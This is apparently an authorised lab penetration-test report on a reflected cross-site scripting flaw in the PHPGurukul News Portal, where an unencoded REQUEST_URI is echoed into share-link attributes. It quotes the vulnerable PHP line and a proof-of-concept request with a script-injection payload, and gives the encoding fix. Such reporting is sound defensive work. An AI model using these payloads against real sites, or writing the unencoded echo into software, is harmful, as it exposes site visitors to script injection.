WEB APPLICATION PENETRATION TEST — VULNERABILITY REPORT

Reflected Cross-Site Scripting — Unencoded REQUEST_URI in Share Links

Finding NVP-007 · **Medium**

Product: PHPGurukul News Portal Project in PHP and MySQL — V4.1

Assessment target: http://localhost/newsportal/newsportal/

Technology: Apache 2.4.58 · PHP 8.2.12 · MariaDB 10.4.32 (DB user: root)

Assessment date: 2026-10-31

Classification: CONFIDENTIAL — authorised lab assessment (review draft)

Document Control

Finding ID	NVP-007
Vulnerability	Reflected Cross-Site Scripting — Unencoded REQUEST_URI in Share Links
Severity	**Medium**
CVSS 4.0	5.1 `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N`
CWE	CWE-79 (Cross-site Scripting); CWE-644
OWASP	A03:2021 Injection
CVE verification	No matching publicly assigned CVE was identified for this specific finding and product/version during the research performed.
Status	CONFIRMED (manually validated & re-verified)

1. Executive Summary

The current page URL is built from REQUEST_URI/HTTP_HOST and echoed, unencoded, into social-share href attributes, allowing attribute breakout and reflected XSS / host-header reflection.

2. Affected Target

Affected URL	http://localhost/newsportal/newsportal/news-details.php?nid=<valid>
Affected parameter	REQUEST_URI / query string (also HTTP_HOST)
Affected role	Unauthenticated victim
Authentication	None

3. Technical Description

news-details.php sets $currenturl = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"] and prints it into four share-link href attributes without encoding. A request whose target contains a double-quote and script payload breaks out of the attribute and injects markup.

4. Root Cause Analysis

```
news-details.php:89,110-113
$currenturl="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
... <a href="http://www.facebook.com/share.php?u=<?php echo $currenturl;?>"> ...  // unencoded
```

5. Preconditions

A valid article id (nid) so the share block renders, and a crafted request target that reaches the server with literal quote/angle characters.

6. Proof of Concept — Step-by-Step Reproduction

1. Request /news-details.php?nid=7&z="><script>alert(document.domain)</script> with the literal characters preserved.
2. The server reflects the payload unencoded inside the Facebook share href, closing the attribute and injecting a <script> element.
3. Observed in the response source: ...share.php?u=...&z="><script>alert(document.domain)</script>

7. HTTP Request Evidence

```
GET /newsportal/newsportal/news-details.php?nid=7&z="><script>alert(document.domain)</script>
HTTP/1.1
Host: localhost
```

8. HTTP Response Evidence

```
HTTP/1.1 200 OK
...
<a href="http://www.facebook.com/share.php?u=http://localhost/.../news-details.php?nid=7&z=">
<script>alert(document.domain)</script>" target="_blank">Facebook</a>
```

9. Proof of Concept — Visual Evidence

> **Evidence note:** Validated via curl (response source contains the unencoded breakout). Delivery caveat: mainstream browsers percent-encode <,>," during normal navigation, so reliable exploitation depends on a delivery path that preserves literal characters; the server-side output-encoding flaw is nonetheless confirmed.

10. Actual Security Impact

Reflected script execution in a victim's browser in the site origin (and host-header reflection), enabling phishing/session attacks where the crafted URL can be delivered with literal metacharacters. Rated Medium due to browser-encoding delivery constraints.

Exploitation complexity	Medium — requires a delivery vector that preserves literal characters and victim interaction.
Realistic attack scenario	An attacker crafts a link (or uses a client that does not re-encode) so a victim loads the article and executes attacker markup reflected from the URL.

11. Remediation Recommendations

HTML-encode $currenturl before output (htmlspecialchars, ENT_QUOTES) and build it from a server-known canonical URL rather than raw REQUEST_URI/HTTP_HOST; validate the Host header against an allowlist.

Secure code example

```
$currenturl = htmlspecialchars('https://'.$CANONICAL_HOST.$safePath, ENT_QUOTES, 'UTF-8');
```

12. Retesting Procedure

Replay the payload; a fixed system reflects the characters encoded ("><) and does not break out of the attribute.

13. References

- CWE-79
- CWE-644
- OWASP WSTG-INPV-01
- OWASP A03:2021

14. Conclusion

Confirmed server-side reflected-XSS/output-encoding flaw via REQUEST_URI, with an honest delivery caveat. Verified in response source.